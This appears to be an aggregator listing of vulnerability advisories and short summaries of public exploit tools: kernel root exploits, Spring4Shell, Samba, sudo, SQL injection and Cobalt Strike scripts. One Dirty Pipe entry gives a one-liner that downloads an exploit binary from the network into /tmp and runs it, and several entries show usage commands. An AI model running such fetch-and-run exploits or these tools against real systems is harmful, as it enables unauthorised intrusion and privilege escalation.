EUVD-2026-79528

Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite component: CRM User Management Framework. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle...

SSTI-Exploit-Detector

SSTI-Exploit-Detector SSTI Exploit Detector 是一款旨在检测 Web 应用程序中潜在 服务器端模板注入（SSTI） 漏洞的工具。 SSTI-Exploit-Detector Jenderal92 功能 自定义 Payload 文件 ：允许用户添加自己的 payload 来测试各种模板引擎。 默认 Payload ：包含预置的 payload，用于检测 Jinja2、Tornado、Ruby 和 Velocity 等流行模板引擎中的漏洞。 自动扫描 ：自动向目标参数发送 payload，并检查响应以检测漏洞。 使用方法 1. 下载并安装 Pytho...

EUVD-2026-79339

Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware component: Centralized Thirdparty Jars. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to...

EUVD-2026-79318

Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM component: Cloud Gateway. Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful...

EUVD-2026-79506

Vulnerability in the Oracle GraalVM product of Oracle Java SE component: Compiler. The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks o...

Phpweb-Getshell-py

Phpweb-Getshell-py Phpweb=2.0.35 Tutorial de uso, consulte www.0-sec.org...

ghostlock-sabrina

GhostLock Sabrina 针对 Chromecast with Google TV （sabrina）的 root 漏洞利用，通过 CVE-2026-43499 实现——Linux 内核 futex PI（优先级继承）子系统中的一个释放后使用漏洞。 在运行 Android 14、内核版本 5.15.170（PGO+BOLT+LTO，clang 17）的锁定引导加载程序 设备上获取 root 权限。 漏洞详情 GhostLock 利用了 rtmutexstartproxylock 中 -EDEADLK 回滚路径调用的 removewaiter 中的一个缺陷。该函数清除的是...

wp-CVE-2017-5487-exploit

WordPress CVE-2017-5487 Python 漏洞利用 使用示例： python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...

Metinfo-6.1.2-SQL-injection

Metinfo-6.1.2-SQL-injection Metinfo 6.1.2 SQL注入脚本 0-sec.org...

Cobaltstrike-MS17-010

Cobaltstrike 攻击脚本 ms17-010 漏洞利用工具和扫描器。 1. 将文件下载到 cobaltstrike 的根目录。 2. 导入 "aggressor.cna" ms17-010 漏洞利用工具仅支持 win7 x64 和 win2008 r2 pwn/Invoke-EternalBlue.ps1 来自 Empire getinfo/Invoke-EternalScan.ps1 来自 @vletoux getinfo/Invoke-LoginPrompt.ps1 来自 Empire 测试图片：...

optionsbleed

optionsbleed CVE-2017-9798...

aquos-r6-ghostlock

AQUOS R6 GhostLock 临时 root 针对 Sharp AQUOS R6 的设备专用 Linux 5.4 移植版 GhostLock（CVE-2026-43499）。已验证的目标是运行 Android 11 构建版本 S0029 / 01.00.06、内核 5.4.61-qgki 的 SoftBank A101SH（Judau）。 ghostlock54 目标可获取真实的 UID/GID 0，将 SELinux 更改为 permissive，并直接通过现有的 ADB 传输打开交互式 root shell。它不监听 TCP，也不授予完整的 Linux 能力集。 构建 需要...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 的一个 Python 实现，以 ssh 会话的风格为用户提供提示符。 该脚本旨在易于理解和执行，兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置，从而允许该漏洞利用被多次运行。可能需要进行清理。 漏洞利用 - CVE-2022-22965 ❗ 该漏洞存在于 5.2 版本之前的 java spring 框架中，以及 5.3.0-17 和 5.2.0-19 版本中，且运行在大于或等于 9 的 Java...

win-exp-

描述 该工具将目标的补丁级别与 Microsoft 漏洞数据库进行比较，以检测目标上可能缺失的补丁。如果存在针对缺失公告的公开漏洞利用程序和 Metasploit 模块，它还会通知用户。 它需要 Windows 主机的 'systeminfo' 命令输出，以便与 Microsoft 安全公告数据库进行比较，并确定主机的补丁级别。 它能够通过 --update 标志从 Microsoft 自动下载安全公告数据库，并将其保存为 Excel 电子表格。...

CVE-2007-2447

CVE-2007-2447 Samba 漏洞利用...

CVE-2025-64512_PoC

CVE-2025-64512 — pdfminer.six RCE 漏洞利用 Python 3，仅使用标准库 （无需 pip 安装）。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。 | ---|--- CVE| CVE-2025-64512 受影响| pdfminer.six .pickle.gz）形式打包在自身的包内。 看看 CMap 是如何加载的（pdfminer/cmapdb.py，20251107 之前的所有版本）： root@kitploit: @classmethod def loaddatacls, name: str - Any: na...

CVE-2022-0847-Dirty-Pipe

单行漏洞利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

cve-2023-37635

CVE-2023-37635 - 漏洞利用指南 安装与设置 1️⃣ 安装依赖 root@kitploit: pip install -r requirements.txt 2️⃣ 运行漏洞利用 使用代理： root@kitploit: python brutForc.py 不使用代理： root@kitploit: python brutForc.py -n 注意事项： 将 替换为目标 URL。 -n 标志将禁用代理。 ⚠️ 免责声明 ：此脚本仅供教育和授权安全测试之用。未经授权的使用是非法的。...

CVE-2021-3156

CVE-2021-3156 PoC 简介 这是针对 CVE-2021-3156 sudo 漏洞的利用程序（被 Qualys 称为 Baron Samedit）。 使用方法 构建： root@kitploit: $ make 列出目标： root@kitploit: $ ./sudo-hax-me-a-sandwich 运行： root@kitploit: $ ./sudo-hax-me-a-sandwich 手动模式： root@kitploit: $ ./sudo-hax-me-a-sandwich 暴力破解目标查找（实验性） 确保已安装 GNU parallel。...

CVE-2026-0194

In multiple locations, there is a possible permission bypass due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...